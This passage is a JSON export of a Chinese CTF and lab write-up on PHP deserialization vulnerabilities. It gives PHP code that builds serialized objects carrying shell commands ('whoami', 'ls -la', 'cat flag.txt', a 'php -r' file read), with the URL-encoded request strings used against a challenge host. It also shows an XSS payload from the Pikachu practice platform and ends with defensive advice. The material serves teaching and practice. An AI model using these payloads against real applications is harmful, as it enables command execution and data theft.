                    • \u5c06\u5e8f\u5217\u5316\u5b57\u7b26\u4e32URL\u7f16\u7801\u540e\u4f5c\u4e3adata<\/code>\u53c2\u6570\u7684\u503c\u53d1\u9001\u5230\u76ee\u6807URL\u3002<\/li>\n<\/ul>\n\n\n\n
                      \u6f0f\u6d1e\u5229\u7528\u8fc7\u7a0b<\/h3>\n\n\n\n
                      \u786e\u8ba4\u73af\u5883<\/strong><\/h4>\n\n\n\n
                      \u9996\u5148\u5c1d\u8bd5\u6267\u884c\u4e00\u4e2a\u7b80\u5355\u7684\u547d\u4ee4\uff0c\u786e\u8ba4\u6f0f\u6d1e\u5b58\u5728\uff1a<\/p>\n\n\n\n
                      Payload\u751f\u6210\uff1a<\/strong><\/p>\n\n\n\n
                      <?php\nclass System {\n    public $cmd;\n}\n\n$obj = new System();\n$obj->cmd = \"whoami\";\n\necho serialize($obj);\n?><\/code><\/pre>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      URL\u8bbf\u95ee<\/p>\n\n\n\n
                      http://81.70.244.177:34290\/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D<\/code><\/pre>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      \u7ed3\u679c\uff1a<\/strong> \u8fd4\u56dewww-data<\/code>\uff0c\u786e\u8ba4\u547d\u4ee4\u6267\u884c\u6210\u529f\u3002<\/p>\n\n\n\n
                      \u67e5\u770b\u76ee\u5f55\u5185\u5bb9<\/strong><\/h4>\n\n\n\n
                      \u67e5\u770b\u5f53\u524d\u76ee\u5f55\u6709\u54ea\u4e9b\u6587\u4ef6\uff1a<\/p>\n\n\n\n
                      Payload\u751f\u6210\uff1a<\/strong><\/p>\n\n\n\n
                      <?php\nclass System {\n    public $cmd;\n}\n\n$obj = new System();\n$obj->cmd = \"ls -la\";\n\necho serialize($obj);\n?><\/code><\/pre>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      http://81.70.244.177:34290\/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A5%3A%22ls+-la%22%3B%7D<\/code><\/pre>\n\n\n\n
                      \u5c1d\u8bd5\u76f4\u63a5\u8bfb\u53d6flag<\/strong><\/h4>\n\n\n\n
                      \u5c1d\u8bd5\u4f7f\u7528\u7cfb\u7edf\u547d\u4ee4\u76f4\u63a5\u8bfb\u53d6flag\uff1a<\/p>\n\n\n\n
                      Payload\u751f\u6210\uff1a<\/strong><\/p>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      URL\uff1a<\/strong><\/p>\n\n\n\n
                      http://81.70.244.177:34290\/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A11%3A%22cat+flag.txt%22%3B%7D<\/code><\/pre>\n\n\n\n
                      \u53d1\u73b0\u6ca1\u6709\u56de\u663e<\/p>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      \u53ef\u80fd\u6ca1\u6709\u8f93\u51fa\u6216\u8f93\u51fa\u88ab\u8fc7\u6ee4\u3002<\/p>\n\n\n\n
                      \u4f7f\u7528PHP\u4ee3\u7801\u8bfb\u53d6\u6587\u4ef6<\/h4>\n\n\n\n
                      Payload\u751f\u6210\uff1a<\/strong><\/p>\n\n\n\n
                      <?php\nclass System {\n    public $cmd;\n}\n\n$obj = new System();\n$obj->cmd = \"php -r 'echo file_get_contents(\"flag.txt\");'\";\n\necho serialize($obj);\n?><\/code><\/pre>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      URL\uff1a<\/strong><\/p>\n\n\n\n
                      http://81.70.244.177:34290\/?data=O%3A6%3A%22System%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A44%3A%22php+-r+%27echo+file_get_contents%28%22flag.txt%22%29%3B%27%22%3B%7D<\/code><\/pre>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      \u6210\u529f\u5f97\u5230flag<\/p>\n\n\n\n
                      Pikachu \u6f0f\u6d1e\u7ec3\u4e60\u5e73\u53f0<\/h3>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      \u5728\u7406\u89e3\u8fd9\u4e2a\u6f0f\u6d1e\u524d,\u4f60\u9700\u8981\u5148\u641e\u6e05\u695aphp\u4e2dserialize()\uff0cunserialize()\u8fd9\u4e24\u4e2a\u51fd\u6570\u3002<\/p>\n\n\n\n
                      \u5e8f\u5217\u5316serialize()<\/strong>
                      \u5e8f\u5217\u5316\u8bf4\u901a\u4fd7\u70b9\u5c31\u662f\u628a\u4e00\u4e2a\u5bf9\u8c61\u53d8\u6210\u53ef\u4ee5\u4f20\u8f93\u7684\u5b57\u7b26\u4e32,\u6bd4\u5982\u4e0b\u9762\u662f\u4e00\u4e2a\u5bf9\u8c61:<\/p>\n\n\n\n
                          class S{\n        public $test=\"pikachu\";\n    }\n    $s=new S(); \/\/\u521b\u5efa\u4e00\u4e2a\u5bf9\u8c61\n    serialize($s); \/\/\u628a\u8fd9\u4e2a\u5bf9\u8c61\u8fdb\u884c\u5e8f\u5217\u5316\n    \u5e8f\u5217\u5316\u540e\u5f97\u5230\u7684\u7ed3\u679c\u662f\u8fd9\u4e2a\u6837\u5b50\u7684:O:1:\"S\":1:{s:4:\"test\";s:7:\"pikachu\";}\n        O:\u4ee3\u8868object\n        1:\u4ee3\u8868\u5bf9\u8c61\u540d\u5b57\u957f\u5ea6\u4e3a\u4e00\u4e2a\u5b57\u7b26\n        S:\u5bf9\u8c61\u7684\u540d\u79f0\n        1:\u4ee3\u8868\u5bf9\u8c61\u91cc\u9762\u6709\u4e00\u4e2a\u53d8\u91cf\n        s:\u6570\u636e\u7c7b\u578b\n        4:\u53d8\u91cf\u540d\u79f0\u7684\u957f\u5ea6\n        test:\u53d8\u91cf\u540d\u79f0\n        s:\u6570\u636e\u7c7b\u578b\n        7:\u53d8\u91cf\u503c\u7684\u957f\u5ea6\n        pikachu:\u53d8\u91cf\u503c\n<\/code><\/pre>\n\n\n\n
                      \u53cd\u5e8f\u5217\u5316unserialize()<\/strong><\/p>\n\n\n\n
                      \u5c31\u662f\u628a\u88ab\u5e8f\u5217\u5316\u7684\u5b57\u7b26\u4e32\u8fd8\u539f\u4e3a\u5bf9\u8c61,\u7136\u540e\u5728\u63a5\u4e0b\u6765\u7684\u4ee3\u7801\u4e2d\u7ee7\u7eed\u4f7f\u7528\u3002<\/p>\n\n\n\n
                          $u=unserialize(\"O:1:\"S\":1:{s:4:\"test\";s:7:\"pikachu\";}\");\n    echo $u->test; \/\/\u5f97\u5230\u7684\u7ed3\u679c\u4e3apikachu\n<\/code><\/pre>\n\n\n\n
                      \u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u672c\u8eab\u6ca1\u6709\u95ee\u9898,\u4f46\u662f\u5982\u679c\u53cd\u5e8f\u5217\u5316\u7684\u5185\u5bb9\u662f\u7528\u6237\u53ef\u4ee5\u63a7\u5236\u7684,\u4e14\u540e\u53f0\u4e0d\u6b63\u5f53\u7684\u4f7f\u7528\u4e86PHP\u4e2d\u7684\u9b54\u6cd5\u51fd\u6570,\u5c31\u4f1a\u5bfc\u81f4\u5b89\u5168\u95ee\u9898<\/p>\n\n\n\n
                              \u5e38\u89c1\u7684\u51e0\u4e2a\u9b54\u6cd5\u51fd\u6570:\n        __construct()\u5f53\u4e00\u4e2a\u5bf9\u8c61\u521b\u5efa\u65f6\u88ab\u8c03\u7528\n\n        __destruct()\u5f53\u4e00\u4e2a\u5bf9\u8c61\u9500\u6bc1\u65f6\u88ab\u8c03\u7528\n\n        __toString()\u5f53\u4e00\u4e2a\u5bf9\u8c61\u88ab\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u4f7f\u7528\n\n        __sleep() \u5728\u5bf9\u8c61\u5728\u88ab\u5e8f\u5217\u5316\u4e4b\u524d\u8fd0\u884c\n\n        __wakeup\u5c06\u5728\u5e8f\u5217\u5316\u4e4b\u540e\u7acb\u5373\u88ab\u8c03\u7528\n\n        \u6f0f\u6d1e\u4e3e\u4f8b:\n\n        class S{\n            var $test = \"pikachu\";\n            function __destruct(){\n                echo $this->test;\n            }\n        }\n        $s = $_GET['test'];\n        @$unser = unserialize($a);\n\n        payload:O:1:\"S\":1:{s:4:\"test\";s:29:\"<script>alert('xss')<\/script>\";}<\/code><\/pre>\n\n\n\n
                      \u4f5c\u8005\u5728\u6982\u8ff0\u4e2d\u5df2\u7ecf\u7ed9\u4e86payload\u76f4\u63a5\u4f7f\u7528<\/p>\n\n\n\n
                       payload:O:1:\"S\":1:{s:4:\"test\";s:29:\"<script>alert('xss')<\/script>\";}<\/code><\/pre>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      \"\"<\/div><\/figure>\n\n\n\n
                      \u9632\u5fa1\u63aa\u65bd<\/h2>\n\n\n\n
                      1\u6c38\u8fdc\u4e0d\u8981\u53cd\u5e8f\u5217\u5316\u4e0d\u53ef\u4fe1\u7684\u6570\u636e\n2\u4f7f\u7528JSON\u7b49\u5b89\u5168\u683c\u5f0f\u66ff\u4ee3PHP\u5e8f\u5217\u5316\n3\u5b9e\u65bd\u4e25\u683c\u7684\u8f93\u5165\u9a8c\u8bc1\u548c\u7b7e\u540d\u673a\u5236\n4\u9650\u5236\u53ef\u53cd\u5e8f\u5217\u5316\u7684\u7c7b\uff08allowed_classes\uff09\n5\u5728\u9b54\u6cd5\u51fd\u6570\u4e2d\u907f\u514d\u6267\u884c\u5371\u9669\u64cd\u4f5c\uff0c\u8fc7\u6ee4\u3001\u7981\u7528\u5371\u9669\u51fd\u6570\n6\u5b9a\u671f\u8fdb\u884c\u5b89\u5168\u5ba1\u8ba1\u548c\u4ee3\u7801\u5ba1\u67e5\n7\u4f7f\u7528Web\u5e94\u7528\u9632\u706b\u5899\u68c0\u6d4b\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e\n8\u8fc7\u6ee4T3\u534f\u8bae\u6216\u9650\u5b9a\u53ef\u8fde\u63a5\u7684IP\n9\u8bbe\u7f6eNginx\u53cd\u5411\u4ee3\u7406\uff0c\u5b9e\u73b0t3\u534f\u8bae\u548chttp\u534f\u8bae\u9694\u79bb<\/code><\/pre>\n\n\n\n
                      <\/p>\n","protected":false},"excerpt":{"rendered":"
                      \u4e3b\u8981\u4ee5PHP\u4e3a\u4e3b \u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u4e0e\u53cd\u5e8f\u5217\u5316 \u5e8f\u5217\u5316(serialize) \u5c31\u5c06\u5bf9\u8c61\u7684\u72b6\u6001\u4fe1\u606f\u8f6c\u6362\u4e3a\u53ef\u4ee5\u5b58\u50a8\u6216\u4f20\u8f93 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,8],"tags":[],"class_list":["post-268","post","type-post","status-publish","format-standard","hentry","category-web","category-8"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/268","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=268"}],"version-history":[{"count":1,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/268\/revisions"}],"predecessor-version":[{"id":292,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=\/wp\/v2\/posts\/268\/revisions\/292"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=268"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=268"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=268"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}